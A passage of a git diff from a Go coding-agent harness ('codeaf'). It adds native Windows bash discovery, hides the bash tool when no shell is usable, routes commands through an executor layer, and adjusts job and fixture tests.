b/internal/exec/bare/hostseat_test.go @@ -0,0 +1,7 @@ +package bare + +import "github.com/Agent-Field/codeaf/internal/executor/executortest" + +// These tests run tools with no session, so their calls run on the host seat +// by name; production still refuses a call that lost its session. +func init() { executortest.Host() } diff --git a/internal/exec/bare/shell_windows_test.go b/internal/exec/bare/shell_windows_test.go new file mode 100644 index 0000000000..0a9673b2b8 --- /dev/null +++ b/internal/exec/bare/shell_windows_test.go @@ -0,0 +1,45 @@ +//go:build windows + +package bare + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/shell" +) + +// N1 makes a shell with no implementation absent from both public inventories, +// and direct calls explain the setup instead of creating a process. +func TestWindowsMissingBashIsAbsent(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + for _, name := range []string{"ProgramW6432", "ProgramFiles", "ProgramFiles(x86)", "LOCALAPPDATA", "USERPROFILE", env.Legacy("CODEAF_BASH")} { + t.Setenv(name, "") + } + t.Setenv("PATH", filepath.Join(os.Getenv("SystemRoot"), "System32")) + for _, explicit := range []string{filepath.Join(dir, "missing.exe"), ""} { + t.Setenv("CODEAF_BASH", explicit) + for _, tools := range [][]Tool{AllTools(dir), Tools(dir)} { + for _, tool := range tools { + if tool.Name == "bash" { + t.Fatal("unusable bash is advertised") + } + } + } + output, failed, err := newBashTool(dir, DefaultCaps()).Execute(context.Background(), []byte(`{"command":"echo WRONG > marker"}`)) + if err != nil || !failed || !strings.Contains(output, "CODEAF_BASH") { + t.Fatalf("direct call: %q %v %v", output, failed, err) + } + if explicit == "" && output != shell.NoBash { + t.Fatalf("missing discovery remedy: %q, want %q", output, shell.NoBash) + } + if _, err := os.Stat(filepath.Join(dir, "marker")); !os.IsNotExist(err) { + t.Fatalf("command ran: %v", err) + } + } +} diff --git a/internal/exec/bare/spawned_test.go b/internal/exec/bare/spawned_test.go new file mode 100644 index 0000000000..cfaa95a585 --- /dev/null +++ b/internal/exec/bare/spawned_test.go @@ -0,0 +1,32 @@ +package bare + +import ( + "context" + "encoding/json" + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// A bash call tells its seat which process group it started, so the record around +// the call can end that group if codeaf dies first. The group leads itself: its id +// is its leader's pid. +func TestABashCallReportsTheGroupItStarted(t *testing.T) { + var bash Tool + for _, tool := range AllTools(t.TempDir()) { + if tool.Name == "bash" { + bash = tool + } + } + ctx, spawns := executor.WithSpawns(context.Background()) + var groups []int + spawns.Watch(func(pgid int) { groups = append(groups, pgid) }) + args, _ := json.Marshal(map[string]any{"command": "true"}) + + if _, bad, err := bash.Execute(ctx, args); bad || err != nil { + t.Fatalf("bash failed: %v %v", bad, err) + } + if len(groups) != 1 || groups[0] <= 0 { + t.Fatalf("groups %v, want one positive process group id", groups) + } +} diff --git a/internal/exec/bare/streaming.go b/internal/exec/bare/streaming.go index ce3c7e0952..084a9374d4 100644 --- a/internal/exec/bare/streaming.go +++ b/internal/exec/bare/streaming.go @@ -55,6 +55,7 @@ package bare import ( "os" "os/exec" + "runtime" "strings" "sync" @@ -92,13 +93,16 @@ func TailForResultAt(text string, caps Caps) string { return truncateTail(text, // reads while it runs — the foreground bash tool here, and the background job // registry in internal/session, which used to keep a hand-copied three-line // version of the choice and now asks this instead. -func StreamingShell(command string) (string, []string) { - shell, shellArgs := getShellConfig() +func StreamingShell(command string) (string, []string, error) { + shell, shellArgs, err := getShellConfig() + if err != nil { + return "", nil, err + } full := append(append([]string{}, shellArgs...), command) if prefix := stdbufPrefix(); len(prefix) > 0 { - return prefix[0], append(append(append([]string{}, prefix[1:]...), shell), full...) + return prefix[0], append(append(append([]string{}, prefix[1:]...), shell), full...), nil } - return shell, full + return shell, full, nil } // StreamingEnv is the environment such a command runs in: the person's own, @@ -139,10 +143,15 @@ func StreamingEnv() []string { // run once against `true`, and it is taken only if it exits clean and says // nothing at all. var stdbufPrefix = sync.OnceValue(func() []string { + // A native Windows child must be launched directly, without an MSYS wrapper. + if runtime.GOOS == "windows" { + return nil + } path, err := exec.LookPath("stdbuf") if err != nil { return nil } + //codeaf:plumbing capability probe of a helper binary probe := exec.Command(path, "-oL", "-eL", "true") probe.Env = os.Environ() output, err := probe.CombinedOutput() diff --git a/internal/exec/bare/tools.go b/internal/exec/bare/tools.go index 30ff7841d0..61a7a4014a 100644 --- a/internal/exec/bare/tools.go +++ b/internal/exec/bare/tools.go @@ -18,8 +18,10 @@ import ( "sync" "time" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/guard" "github.com/Agent-Field/codeaf/internal/processgroup" + "github.com/Agent-Field/codeaf/internal/shell" ) // Tool is the shape every tool in this package wears, and the shape a @@ -53,7 +55,7 @@ func AllTools(cwd string) []Tool { return AllToolsCapped(cwd, DefaultCaps()) } // from the pair they are actually applying. func AllToolsCapped(cwd string, caps Caps) []Tool { caps = caps.resolve() - return []Tool{ + return availableTools([]Tool{ newReadTool(cwd, caps), newBashTool(cwd, caps), newEditTool(cwd), @@ -61,7 +63,7 @@ func AllToolsCapped(cwd string, caps Caps) []Tool { newGrepTool(cwd, caps), newFindTool(cwd, caps), newLsTool(cwd, caps), - } + }) } // Tools returns the four default active pi tools in registry order: read, @@ -74,12 +76,12 @@ func Tools(cwd string) []Tool { return ToolsCapped(cwd, DefaultCaps()) } // ToolsCapped is [Tools] with the belt's own result caps. See [AllToolsCapped]. func ToolsCapped(cwd string, caps Caps) []Tool { caps = caps.resolve() - return []Tool{ + return availableTools([]Tool{ newReadTool(cwd, caps), newBashTool(cwd, caps), newEditTool(cwd), newWriteTool(cwd), - } + }) } // ── wire schemas (verbatim from pi) ──────────────────────────────────────── @@ -461,7 +463,10 @@ func newBashTool(cwd string, caps Caps) Tool { // held in a 4KB buffer until it exits is a command that looks dead to // anybody reading its log, and a long one gets killed for it // (streaming.go states the whole case). - shell, shellArgs := StreamingShell(p.Command) + shell, shellArgs, shellErr := StreamingShell(p.Command) + if shellErr != nil { + return shellErr.Error(), true, nil + } // THE COMMAND IS NOT BOUND TO THE CONTEXT, and the watcher below // does the binding by hand. exec.CommandContext's own watcher kills @@ -470,9 +475,6 @@ func newBashTool(cwd string, caps Caps) Tool { // turn, and fatal for one that has been PROMOTED into a job that is // supposed to outlive it (promote.go). The cancel semantics are // unchanged: SIGKILL to the whole group, the moment ctx is done. - cmd := exec.Command(shell, shellArgs...) - cmd.Dir = cwd - cmd.Env = StreamingEnv() // Detached — a new session, not just a new group. The kill // semantics are identical (a session leader leads its own group), // and what the detachment buys is the terminal: a command that @@ -480,7 +482,6 @@ func newBashTool(cwd string, caps Caps) Tool { // instead of drawing over the surface that ran it. Measured on two // review CLIs promoted to jobs, whose frames landed across the top // of a running conversation. - processgroup.ConfigureDetached(cmd) // A COMMAND THAT LEAVES A BACKGROUND CHILD SHARING ITS STDOUT MUST // STILL COST ITS TIMEOUT AND NOTHING MORE. Killing the shell is not // enough on its own: Stdout and Stderr below are an in-process @@ -493,7 +494,13 @@ func newBashTool(cwd string, caps Caps) Tool { // gone for anything that survived. The defence is internal/exec's, // verbatim (tools.go, jobs.go), for a fault that was observed there // first. - cmd.WaitDelay = 3 * time.Second + cmd, err := executor.For(ctx).In(cwd).Command(context.WithoutCancel(ctx), executor.ExecRequest{ + Argv: append([]string{shell}, shellArgs...), Env: StreamingEnv(), + Group: executor.GroupSession, WaitDelay: 3 * time.Second, + }) + if err != nil { + return "Failed to start command: " + err.Error(), true, nil + } // Interleave stdout+stderr in arrival order. Setting both // cmd.Stdout and cmd.Stderr to the same writer lets Go's exec @@ -511,6 +518,10 @@ func newBashTool(cwd string, caps Caps) Tool { return "Failed to start command: " + err.Error(), true, nil } + // THE SEAT IS TOLD WHICH GROUP THIS IS, so a record of the call can end + // it if codeaf dies before the call does (executor.Spawned). + executor.Spawned(ctx, cmd.Process.Pid) + // The call is now a thing somebody else could take (promote.go). // Everything that can end it goes through this handle from here on, // so exactly one of the four racers wins. @@ -707,16 +718,10 @@ func exitCodeFromWait(err error) int { } // getShellConfig mirrors pi's shell.js:getShellConfig on Unix: /bin/bash if -// it exists, then bash on PATH, then fallback to sh. Returns the shell path -// and args (["-c"]). -func getShellConfig() (string, []string) { - if _, err := os.Stat("/bin/bash"); err == nil { - return "/bin/bash", []string{"-c"} - } - if bash, err := exec.LookPath("bash"); err == nil { - return bash, []string{"-c"} - } - return "sh", []string{"-c"} +// it exists, then bash on PATH, then fallback to sh. Windows instead uses the +// engine's native bash, and refuses before a command can reach a WSL launcher. +func getShellConfig() (string, []string, error) { + return shell.Preferred() } // killProcessGroup sends SIGKILL to the process group, mirroring pi's @@ -1273,3 +1278,18 @@ func commandCutWords(began time.Time, text string) string { } return head + "\n" + text } + +// availableTools omits a shell with no native implementation, so the model +// cannot select a command that will fail on every call. Unix is unchanged. +func availableTools(tools []Tool) []Tool { + if _, err := shell.Bash(); err == nil { + return tools + } + out := tools[:0] + for _, tool := range tools { + if tool.Name != "bash" { + out = append(out, tool) + } + } + return out +} diff --git a/internal/exec/context_test.go b/internal/exec/context_test.go index bdab11d71c..f6865a1cd2 100644 --- a/internal/exec/context_test.go +++ b/internal/exec/context_test.go @@ -466,7 +466,8 @@ func TestRepeatedBytesBecomeAPointerToTheFirstCopy(t *testing.T) { } // Every pointer names a durable address, even while the target is still // quoted above it — see the dangling-pointer test below for why. - wantPath := filepath.Join(obsDir, "2-decay-c1.txt") + // K3: a durable observation address sent in chat uses slash paths on every host. + wantPath := obsDir + "/2-decay-c1.txt" if !strings.Contains(second, wantPath) { t.Fatalf("the pointer names no durable address: %q", second) } @@ -510,7 +511,8 @@ func TestARereadOfRetiredBytesIsAnsweredWithTheBytes(t *testing.T) { if decayed := fade.decay(messages, observationBudget); decayed != 1 { t.Fatalf("decayed = %d, want the older result stubbed", decayed) } - wantPath := filepath.Join(obsDir, "2-decay-c7.txt") + // K3: a durable observation address sent in chat uses slash paths on every host. + wantPath := obsDir + "/2-decay-c7.txt" if stub := contentOf(messages[0]); !strings.Contains(stub, wantPath) { t.Fatalf("the stub does not say where the bytes went: %q", stub) } @@ -592,7 +594,8 @@ func TestADecayTimeWriteFailureCannotStrandAPointer(t *testing.T) { if !strings.Contains(pointer, "identical to the result of") { t.Fatalf("the repeat was not pointed at all: %q", clipForTest(pointer)) } - wantPath := filepath.Join(obsDir, "2-decay-c7.txt") + // K3: a durable observation address sent in chat uses slash paths on every host. + wantPath := obsDir + "/2-decay-c7.txt" if !strings.Contains(pointer, wantPath) { t.Fatalf("the pointer named no durable address while its target was live: %q", pointer) } @@ -1111,7 +1114,8 @@ func TestDecaySpillsLosslessly(t *testing.T) { if !strings.Contains(stub, "sh cat foo") || !strings.Contains(stub, "20480 bytes") { t.Errorf("stub %q does not identify what was decayed", stub) } - wantPath := filepath.Join(obsDir, "2-decay-c7.txt") + // K3: a durable observation address sent in chat uses slash paths on every host. + wantPath := obsDir + "/2-decay-c7.txt" if !strings.Contains(stub, "spilled to "+wantPath) { t.Fatalf("stub %q does not carry the spill path %q", stub, wantPath) } diff --git a/internal/exec/document.go b/internal/exec/document.go index e2af55cbc9..67cb9f7cfa 100644 --- a/internal/exec/document.go +++ b/internal/exec/document.go @@ -14,6 +14,7 @@ import ( "time" "unicode" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/provider" ) @@ -343,6 +344,19 @@ func documentMediaType(path string) (string, bool) { } } +// documentCommand runs a document tool and answers its combined output, with +// the error a failed run reports (a start failure, or the exit status). +func documentCommand(ctx context.Context, binary string, args ...string) ([]byte, error) { + res, err := executor.For(ctx).In("").Exec(ctx, executor.ExecRequest{ + Argv: append([]string{binary}, args...), + Group: executor.GroupInherit, WaitDelay: -1, Combined: true, + }, nil) + if err != nil { + return res.Stdout, err + } + return res.Stdout, res.Failure() +} + func extractLocalPDF(ctx context.Context, path string, pages documentPageRange) (string, bool, error) { binary, err := osexec.LookPath("pdftotext") if err != nil { @@ -355,7 +369,7 @@ func extractLocalPDF(ctx context.Context, path string, pages documentPageRange) args = append(args, path, "-") commandCtx, cancel := context.WithTimeout(ctx, documentCommandTimeout) defer cancel() - output, err := osexec.CommandContext(commandCtx, binary, args...).CombinedOutput() + output, err := documentCommand(commandCtx, binary, args...) if commandCtx.Err() != nil { return "", true, commandCtx.Err() } @@ -392,7 +406,7 @@ func usableDocumentText(text string, pages int) bool { func estimatePDFPages(ctx context.Context, path string, size int64) int { if binary, err := osexec.LookPath("pdfinfo"); err == nil { commandCtx, cancel := context.WithTimeout(ctx, documentCommandTimeout) - output, commandErr := osexec.CommandContext(commandCtx, binary, path).CombinedOutput() + output, commandErr := documentCommand(commandCtx, binary, path) cancel() if commandErr == nil { matched := pdfInfoPagesPattern.FindStringSubmatch(string(output)) diff --git a/internal/exec/document_drain_test.go b/internal/exec/document_drain_test.go new file mode 100644 index 0000000000..1596e6bb71 --- /dev/null +++ b/internal/exec/document_drain_test.go @@ -0,0 +1,18 @@ +package exec + +import ( + "github.com/Agent-Field/codeaf/internal/executor" + "runtime" + "testing" +) + +// C18 preserves the PDF helpers' complete output after a clean helper exit. +func TestDocumentCommandRetainsOutputFromInheritedPipe(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("requires sh") + } + out, err := documentCommand(executor.With(t.Context(), executor.Host), "sh", "-c", "printf first; (sleep 0.4; printf second) & exit 0") + if err != nil || string(out) != "firstsecond" { + t.Fatalf("%q: %v", out, err) + } +} diff --git a/internal/exec/document_test.go b/internal/exec/document_test.go index 4afcff126e..cfb63c3ba1 100644 --- a/internal/exec/document_test.go +++ b/internal/exec/document_test.go @@ -141,9 +141,7 @@ func stubPDFBinaries(t *testing.T, text string, pages int) string { scripts["pdfinfo"] = "#!/bin/sh\nprintf 'Pages: %s\\n' \"$" + stubPDFPagesEnv + "\"\n" } for name, script := range scripts { - if err := os.WriteFile(filepath.Join(dir, name), []byte(script), 0o755); err != nil { - t.Fatal(err) - } + fixtureExecutable(t, filepath.Join(dir, name), []byte(script), 0o755) } t.Setenv("PATH", dir) t.Setenv(stubPDFLogEnv, log) diff --git a/internal/exec/exec_test.go b/internal/exec/exec_test.go index 0d3f476b2f..d5731efa9a 100644 --- a/internal/exec/exec_test.go +++ b/internal/exec/exec_test.go @@ -13,6 +13,7 @@ import ( "unicode/utf8" "github.com/Agent-Field/codeaf/internal/plan" + commandshell "github.com/Agent-Field/codeaf/internal/shell" graphstore "github.com/Agent-Field/codeaf/internal/store" ) @@ -132,7 +133,7 @@ func TestShPrependsSkillPathOnlyWithStore(t *testing.T) { if !ok { t.Fatalf("store-attached sh: PATH_HEAD marker line missing from capture (truncated?): %q", attachedResult.Content) } - if got != bin { + if got != commandshell.ListPath(bin) { t.Fatalf("store-attached PATH starts with %q, want %q: %q", got, bin, attachedResult.Content) } } diff --git a/internal/exec/fixture_executable_test.go b/internal/exec/fixture_executable_test.go new file mode 100644 index 0000000000..3d051ed07b --- /dev/null +++ b/internal/exec/fixture_executable_test.go @@ -0,0 +1,67 @@ +package exec + +import ( + "io" + "os" + "os/exec" + "runtime" + "testing" + + commandshell "github.com/Agent-Field/codeaf/internal/shell" +) + +// K6 uses the same scripted tools on both platforms. Native Windows needs a +// real executable entry point; its helper dispatches the unchanged script to +// Git Bash, while Unix retains the executable script itself. +func fixtureExecutable(t *testing.T, path string, source []byte, mode os.FileMode) string { + t.Helper() + if runtime.GOOS != "windows" { + if err := os.WriteFile(path, source, mode); err != nil { + t.Fatal(err) + } + return path + } + path += ".exe" + self, err := os.Executable() + if err != nil { + t.Fatal(err) + } + input, err := os.Open(self) + if err != nil { + t.Fatal(err) + } + defer input.Close() + output, err := os.Create(path) + if err != nil { + t.Fatal(err) + } + _, copyErr := io.Copy(output, input) + closeErr := output.Close() + if copyErr != nil { + t.Fatal(copyErr) + } + if closeErr != nil { + t.Fatal(closeErr) + } + if err := os.WriteFile(path+".script", source, 0600); err != nil { + t.Fatal(err) + } + return path +} + +// K6 keeps make-based assertions on hosts with make. Git for Windows supplies +// Bash, but does not promise this separate program; native shell tests do not +// depend on it. +func requireFixtureMake(t *testing.T) { + t.Helper() + if runtime.GOOS != "windows" { + return + } + bash, err := commandshell.Bash() + if err != nil { + t.Fatal(err) + } + if err := exec.Command(bash, "-c", "command -v make").Run(); err != nil { + t.Skip("make is not installed in the native Git Bash environment") + } +} diff --git a/internal/exec/fixture_windows_test.go b/internal/exec/fixture_windows_test.go new file mode 100644 index 0000000000..1016271f73 --- /dev/null +++ b/internal/exec/fixture_windows_test.go @@ -0,0 +1,49 @@ +//go:build windows + +package exec + +import ( + "fmt" + "os" + "os/exec" + "strings" + + commandshell "github.com/Agent-Field/codeaf/internal/shell" +) + +// K6 starts a copied test executable as a native stand-in for one scripted +// tool. The companion script supplies its behavior; no installed poppler or +// rtk, provider, or network is involved. +func init() { + self, err := os.Executable() + if err != nil { + return + } + script := self + ".script" + if _, err := os.Stat(script); err != nil { + return + } + bash, err := commandshell.Bash() + if err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(1) + } + args := append([]string{commandshell.ListPath(script)}, os.Args[1:]...) + command := exec.Command(bash, args...) + command.Stdin, command.Stdout, command.Stderr = os.Stdin, os.Stdout, os.Stderr + command.Env = os.Environ() + for i, entry := range command.Env { + key, value, _ := strings.Cut(entry, "=") + if key == stubPDFLogEnv || key == "CODEAF_RTK_STUB_LOG" { + command.Env[i] = key + "=" + commandshell.ListPath(value) + } + } + if err := command.Run(); err != nil { + if exit, ok := err.(*exec.ExitError); ok { + os.Exit(exit.ExitCode()) + } + fmt.Fprintln(os.Stderr, err) + os.Exit(1) + } + os.Exit(0) +} diff --git a/internal/exec/hostseat_test.go b/internal/exec/hostseat_test.go new file mode 100644 index 0000000000..89e1c139f7 --- /dev/null +++ b/internal/exec/hostseat_test.go @@ -0,0 +1,7 @@ +package exec + +import "github.com/Agent-Field/codeaf/internal/executor/executortest" + +// These tests run tools with no session, so their calls run on the host seat +// by name; production still refuses a call that lost its session. +func init() { executortest.Host() } diff --git a/internal/exec/inkreading_test.go b/internal/exec/inkreading_test.go index 616a84b8f9..45fc4f9c98 100644 --- a/internal/exec/inkreading_test.go +++ b/internal/exec/inkreading_test.go @@ -253,6 +253,7 @@ func TestAnAfterReadingWhoseSuiteDidNotCollectSaysSo(t *testing.T) { // whether it was read or reproduced. func countingSuite(t *testing.T) (*Workspace, string) { t.Helper() + requireFixtureMake(t) root, log := t.TempDir(), filepath.Join(t.TempDir(), "runs.log") files := map[string]string{ "go.mod": "module example.com/thing\n\ngo 1.22\n", diff --git a/internal/exec/jobs.go b/internal/exec/jobs.go index eec6063ea0..b55573b606 100644 --- a/internal/exec/jobs.go +++ b/internal/exec/jobs.go @@ -9,14 +9,18 @@ import ( "os/exec" "path/filepath" "regexp" + "runtime" "sort" "strings" "sync" "time" "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/guard" "github.com/Agent-Field/codeaf/internal/processgroup" + "github.com/Agent-Field/codeaf/internal/rtk" + commandshell "github.com/Agent-Field/codeaf/internal/shell" "github.com/Agent-Field/codeaf/internal/store" ) @@ -132,6 +136,10 @@ func newJobRegistry(workspace *Workspace, leaf string, results int) *jobRegistry // startBackground starts a shell with file-backed output. Because no parent // pipe is involved, a verbose build cannot block on a reader in the executor. func (t *Toolbox) startBackground(ctx context.Context, command string, args map[string]any) Result { + _, shellErr := commandshell.Bash() + if shellErr != nil { + return errorf("%s", shellErr) + } duration, err := backgroundDuration(ctx, args) if err != nil { return errorf("could not start background job: %v", err) @@ -143,7 +151,20 @@ func (t *Toolbox) startBackground(ctx context.Context, command string, args map[ environment = os.Environ() environment = replaceEnv(environment, "CODEAF_SKILLS_BIN", bin) environment = replaceEnv(environment, env.Legacy("CODEAF_SKILLS_BIN"), bin) - command = "export PATH=\"${CODEAF_SKILLS_BIN:?}:$PATH\"\n" + command + command = commandshell.PathExport("CODEAF_SKILLS_BIN", bin) + command + } + } + // Windows jobs need the native rtk shelf on their own shell PATH too. + // No rewriting is applied: a background job keeps its ordinary output. + if runtime.GOOS == "windows" { + if tool, ok := rtk.Available(); ok { + if environment == nil { + environment = os.Environ() + } + bin := filepath.Dir(tool.Path) + environment = replaceEnv(environment, "CODEAF_RTK_BIN", bin) + environment = replaceEnv(environment, env.Legacy("CODEAF_RTK_BIN"), bin) + command = commandshell.PathExport("CODEAF_RTK_BIN", bin) + command } } // A BACKGROUND JOB IS STILL A MODEL'S COMMAND, and its shell must not reach @@ -167,23 +188,17 @@ func (t *Toolbox) startBackground(ctx context.Context, command string, args map[ if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil { return errorf("could not create background log directory: %v", err) } - logFile, err := os.OpenFile(full, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o644) + logFile, err := commandshell.OpenLog(full, 0o644) if err != nil { return errorf("could not create background log %s: %v", relative, err) } jobCtx, cancel := context.WithCancel(context.Background()) - cmd := exec.CommandContext(jobCtx, "bash", "-lc", command) - configureDetachedCommand(cmd, r.workspace.Root(), logFile) - cmd.Env = environment - cmd.Cancel = func() error { - if cmd.Process == nil { - return os.ErrProcessDone - } - return processgroup.Kill(cmd.Process.Pid) + cmd, err := detachedCommand(executor.For(ctx), jobCtx, r.workspace.Root(), command, environment, logFile, 3*time.Second) + if err == nil { + err = cmd.Start() } - cmd.WaitDelay = 3 * time.Second - if err := cmd.Start(); err != nil { + if err != nil { cancel() _ = logFile.Close() return errorf("could not start background job: %v", err) @@ -191,7 +206,7 @@ func (t *Toolbox) startBackground(ctx context.Context, command string, args map[ // Start duplicated the descriptor into the child. The parent closes its // copy immediately; cmd.Wait does not need it and the child writes directly. _ = logFile.Close() - // configureDetachedCommand gave the child its own session, so its pid is + // detachedCommand gave the child its own session, so its pid is // its process group id and everything it spawns inherits the yield. setProcessGroupPriority(cmd.Process.Pid, backgroundJobNice) diff --git a/internal/exec/jobs_test.go b/internal/exec/jobs_test.go index 4d169e8788..d8b2c5e9b8 100644 --- a/internal/exec/jobs_test.go +++ b/internal/exec/jobs_test.go @@ -3,12 +3,13 @@ package exec import ( "context" "fmt" + commandshell "github.com/Agent-Field/codeaf/internal/shell" "os" "path/filepath" + "runtime" "strconv" "strings" "sync/atomic" - "syscall" "testing" "time" @@ -83,7 +84,7 @@ func TestBackgroundStartReturnsImmediatelyAndCreatesDurableLog(t *testing.T) { if elapsed := time.Since(started); elapsed > slack(time.Second) { t.Fatalf("background start blocked for %s", elapsed) } - if !strings.Contains(result.Content, "job 1 started · log "+filepath.Join(jobsDir, jobLogName("1", 1))) { + if !strings.Contains(result.Content, "job 1 started · log "+filepath.ToSlash(filepath.Join(jobsDir, jobLogName("1", 1)))) { t.Fatalf("start result = %q", result.Content) } logPath := filepath.Join(space.Root(), jobsDir, jobLogName("1", 1)) @@ -99,6 +100,7 @@ func TestBackgroundStartReturnsImmediatelyAndCreatesDurableLog(t *testing.T) { } } +// N2 and N3 keep service ownership and cleanup through native process probes. func TestKeepTransfersOwnershipAndLeafTeardownCountsOnlyKilledJobs(t *testing.T) { tools, _ := backgroundToolbox(t) for index := 0; index < 2; index++ { @@ -118,11 +120,11 @@ func TestKeepTransfersOwnershipAndLeafTeardownCountsOnlyKilledJobs(t *testing.T) if killed := tools.Close(); killed != 1 { t.Fatalf("leaf teardown killed %d jobs, want only the unpromoted job", killed) } - if err := syscall.Kill(requests[0].PID, 0); err != nil { + if err := testProcessSignal(requests[0].PID, 0); err != nil { t.Fatalf("requested service did not survive leaf teardown: %v", err) } requests[0].Stop() - if err := syscall.Kill(requests[0].PID, 0); err == nil { + if err := testProcessSignal(requests[0].PID, 0); err == nil { t.Fatal("declined service process still alive") } } @@ -142,13 +144,21 @@ func TestJobGuidanceNamesKeepAndForbidsNohup(t *testing.T) { } func TestBackgroundStartFailureIsImmediateError(t *testing.T) { + // I0/N1: Windows still finds installed Git Bash when PATH is empty. + if runtime.GOOS == "windows" { + t.Setenv("CODEAF_BASH", filepath.Join(t.TempDir(), "missing.exe")) + } tools, _ := backgroundToolbox(t) if result := tools.Execute(context.Background(), "sh", `{"cmd":"","bg":true}`); !result.IsError { t.Fatalf("empty background command = %+v, want error", result) } t.Setenv("PATH", t.TempDir()) result := tools.Execute(context.Background(), "sh", `{"cmd":"printf unreachable","bg":true}`) - if !result.IsError || !strings.Contains(result.Content, "could not start background job") { + want := "could not start background job" + if runtime.GOOS == "windows" { + want = fmt.Sprintf(commandshell.MissingBash, os.Getenv("CODEAF_BASH")) + } + if !result.IsError || !strings.Contains(result.Content, want) { t.Fatalf("spawn failure = %+v, want immediate error", result) } } @@ -237,47 +247,6 @@ func TestJobWaitReturnsOnExitAndCapsAStillRunningWait(t *testing.T) { }) } -func TestJobKillTerminatesTheWholeProcessGroup(t *testing.T) { - tools, space := backgroundToolbox(t) - command := `{"cmd":"bash -c 'sleep 30 & echo $! > child.pid; sleep 30'","bg":true}` - if result := tools.Execute(context.Background(), "sh", command); result.IsError { - t.Fatal(result.Content) - } - pidText := strings.TrimSpace(waitForFileText(t, filepath.Join(space.Root(), "child.pid"), "")) - childPID, err := strconv.Atoi(pidText) - if err != nil { - t.Fatalf("child pid %q: %v", pidText, err) - } - result := tools.Execute(context.Background(), "job", `{"id":1,"kill":true}`) - if result.IsError || !strings.Contains(result.Content, "killed") { - t.Fatalf("kill result = %+v", result) - } - deadline := time.Now().Add(slack(3 * time.Second)) - for time.Now().Before(deadline) && syscall.Kill(childPID, 0) == nil { - time.Sleep(20 * time.Millisecond) - } - if err := syscall.Kill(childPID, 0); err == nil { - t.Fatalf("grandchild %d survived process-group kill", childPID) - } -} - -func TestExitedBackgroundShellDoesNotLeaveDetachedChildren(t *testing.T) { - tools, space := backgroundToolbox(t) - command := `{"cmd":"sleep 30 & echo $! > detached.pid","bg":true}` - if result := tools.Execute(context.Background(), "sh", command); result.IsError { - t.Fatal(result.Content) - } - pidText := strings.TrimSpace(waitForFileText(t, filepath.Join(space.Root(), "detached.pid"), "")) - childPID, err := strconv.Atoi(pidText) - if err != nil { - t.Fatalf("child pid %q: %v", pidText, err) - } - waitForJobDone(t, tools, 1, 5*time.Second) - if err := syscall.Kill(childPID, 0); err == nil { - t.Fatalf("detached child %d survived its background shell", childPID) - } -} - func TestBackgroundHardCapMarksTimedOut(t *testing.T) { tools, _ := backgroundToolbox(t) if result := tools.Execute(context.Background(), "sh", `{"cmd":"sleep 30","bg":true,"t":1}`); result.IsError { @@ -363,76 +332,6 @@ func TestJobListShowsEveryStateAndLastLogLine(t *testing.T) { } } -type backgroundThenFinalCompleter struct { - space *Workspace - calls atomic.Int32 - survivorStarted time.Time -} - -func (c *backgroundThenFinalCompleter) CompleteWithMessages(ctx context.Context, _ []ai.Message, _ ...ai.Option) (*ai.Response, error) { - if c.calls.Add(1) == 1 { - return &ai.Response{Choices: []ai.Choice{{Message: ai.Message{ - Role: "assistant", ToolCalls: []ai.ToolCall{call("bg", "sh", `{"cmd":"echo $$ > survivor.pid; sleep 30","bg":true}`)}, - }}}, Usage: &ai.Usage{}}, nil - } - path := filepath.Join(c.space.Root(), "survivor.pid") - for { - if pidBody, err := os.ReadFile(path); err == nil { - pid, _ := strconv.Atoi(strings.TrimSpace(string(pidBody))) - if started, identityErr := ProcessStartTime(pid); identityErr == nil { - c.survivorStarted = started - return &ai.Response{Choices: []ai.Choice{{Message: ai.Message{ - Role: "assistant", Content: []ai.ContentPart{{Type: "text", Text: "done"}}, - }}}, Usage: &ai.Usage{}}, nil - } - } - select { - case <-ctx.Done(): - return nil, ctx.Err() - case <-time.After(20 * time.Millisecond): - } - } -} - -func TestLeafEndTerminatesSurvivorsAndNotesCount(t *testing.T) { - - space := workspace(t) - client := &backgroundThenFinalCompleter{space: space} - linear := NewLinear(client, space, nil, 5, 1_000_000, time.Minute) - outcome, err := linear.Run(context.Background(), Task{NodeID: 1, Brief: "start a server"}) - if err != nil { - t.Fatal(err) - } - if !strings.Contains(outcome.Text, "1 background jobs terminated at leaf end") { - t.Fatalf("leaf result omitted teardown: %q", outcome.Text) - } - pidBody, err := os.ReadFile(filepath.Join(space.Root(), "survivor.pid")) - if err != nil { - logBody, _ := os.ReadFile(filepath.Join(space.Root(), jobsDir, jobLogName("1", 1))) - t.Fatalf("survivor did not start: %v; log=%q artifacts=%v", err, logBody, outcome.Artifacts) - } - pid, _ := strconv.Atoi(strings.TrimSpace(string(pidBody))) - if started, err := ProcessStartTime(pid); err == nil && started.Equal(client.survivorStarted) { - t.Fatalf("process %d survived leaf end", pid) - } - if _, ok := space.Locate(filepath.Join(jobsDir, jobLogName("1", 1))); !ok { - t.Fatal("the job log was not retained past leaf end") - } - // The job log is machinery and stays out of the answer. survivor.pid is not: - // a background command wrote it into the workspace, no write tool ever heard - // about it, and the tree diff is the only thing that can see it — which is - // the whole of rule 2. The assertion used to be "nothing at all", which was - // only true while the file a shell wrote was invisible. - for _, path := range outcome.Artifacts { - if strings.HasPrefix(path, jobsDir) { - t.Fatalf("leaf artifacts = %v, want the job log held out of the job's own output", outcome.Artifacts) - } - } - if len(outcome.Artifacts) != 1 || outcome.Artifacts[0] != "survivor.pid" { - t.Fatalf("leaf artifacts = %v, want the file the background command wrote", outcome.Artifacts) - } -} - type backgroundThenWedgeCompleter struct { space *Workspace release chan struct{} @@ -482,7 +381,7 @@ func TestSchedulerAbandonmentTearsDownLeafJobs(t *testing.T) { t.Fatalf("abandoned process did not start: %v; log=%q", err, logBody) } pid, _ := strconv.Atoi(strings.TrimSpace(string(pidBody))) - if err := syscall.Kill(pid, 0); err == nil { + if err := 